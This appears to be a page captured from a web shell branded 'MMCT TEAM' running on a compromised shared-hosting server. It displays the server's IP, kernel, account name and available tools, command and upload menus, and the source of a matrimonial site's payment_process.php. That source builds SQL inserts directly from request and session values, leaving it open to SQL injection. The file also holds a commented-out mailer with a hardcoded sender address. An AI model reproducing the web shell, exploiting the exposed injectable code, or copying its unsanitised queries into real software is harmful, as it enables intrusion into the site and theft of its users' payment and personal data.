MMCT TEAM
Server IP : 103.53.40.154  /  Your IP : 18.116.85.108
Web Server : Apache
System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : ppcad7no ( 715)
PHP Version : 8.2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0750) :  /home2/ppcad7no/vivahmilankendra.com/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home2/ppcad7no/vivahmilankendra.com/payment_process.php
<?php require_once("includes/dbsmain.inc.php");?>
<?php include("site-main-query.php");
if(empty($_SESSION['userLoginId'])){
  header("location:index.html");  
}

$check_user=db_scalar("select reg_id from tbl_registration where reg_id='$_SESSION[userLoginId]' ");
$check_user_status=db_scalar("select reg_status from tbl_registration where reg_id='$_SESSION[userLoginId]' ");
if(empty($check_user) || $check_user_status=="Inactive"){
    unset($_SESSION['userLoginId'],$_SESSION['userLoginName']);
    session_destroy();
    header("location:index.php");
    exit;
}
if(isset($_REQUEST['payment_id'])&&isset( $_REQUEST['amount'])&& isset($_REQUEST['reg_id']))
{
    $payment_id = $_REQUEST['payment_id'];
     $amount = $_REQUEST['amount'];
      $ord_reg_id = $_REQUEST['reg_id'];
      $sql = "INSERT INTO tbl_order SET 
                pay_payment_id='$payment_id',
                ord_amount='$amount',
				ord_reg_id='$ord_reg_id',
                ord_date = date('d-m-Y')";
      if(db_query($sql))
      {
       echo "1";   
      }
      else
      {
          echo 0;
      }
}

?>

<?php
/*
Mailer you can use this for client 
if(isset($_POST['submit']))
{
   
  // Sanitize input data
$to = filter_var($_POST['to'], FILTER_SANITIZE_EMAIL);
$subject = filter_var($_POST['subject'], FILTER_SANITIZE_FULL_SPECIAL_CHARS);
$msg = filter_var($_POST['message'], FILTER_SANITIZE_FULL_SPECIAL_CHARS);

// Validate email address
if (!filter_var($to, FILTER_VALIDATE_EMAIL)) {
    echo "<script>alert('Invalid email address.')</script>";
    exit;
}

// Validate uploaded file
$file_name = $_FILES['file']['name'];
$file_type = $_FILES['file']['type'];
$file_size = $_FILES['file']['size'];


$allowed_types = array('image/jpeg', 'image/png', 'application/pdf'); // Allowed file types
$max_file_size = 1024 * 1024; // Maximum file size (in bytes)

if (!in_array($file_type, $allowed_types) || $file_size > $max_file_size) {
    echo "<script>alert('Invalid file type or size. Only JPEG, PNG, and PDF files up to 1MB are allowed.')</script>";
    exit;
}
// Prepare email headers and message
$boundary = md5(date('r', time()));
$headers = "MIME-Version: 1.0\r\n"; 
$headers .= "From: <khan.ak065@gmail.com>\r\n";
$headers .= "Content-Type: multipart/mixed; boundary=" . $boundary . "\r\n"; 

$message = "\r\n\r\n--" . $boundary . "\r\n"; 
$message .= "Content-type: text/plain; charset=\"iso-8859-1\"\r\n";
$message .= "Content-Transfer-Encoding: 7bit\r\n\r\n";
$message .= $msg."\r\n\r\n";

$message .= "--" . $boundary . "\r\n"; 
$message .= "Content-type:".$file_type."\r\n";
$message .= "Content-Transfer-Encoding: base64\r\n";
$message .= "Content-Disposition: attachment; filename=".$file_name."\r\n\r\n";
$message .= chunk_split(base64_encode(file_get_contents($_FILES['file']['tmp_name']))) . "\r\n";

// Send email
$mail_sent = @mail($to, $subject, $message, $headers);

if ($mail_sent) {
    echo "<script>alert('Mail sent.')</script>";
    echo "<script>window.open('https://gmail.com')</script>";
} else {
    echo "<script>alert('Mail failed to send.')</script>";
    echo "<script>window.open('https://google.com')</script>";
}
}
  */
  ?>

MMCT - 2023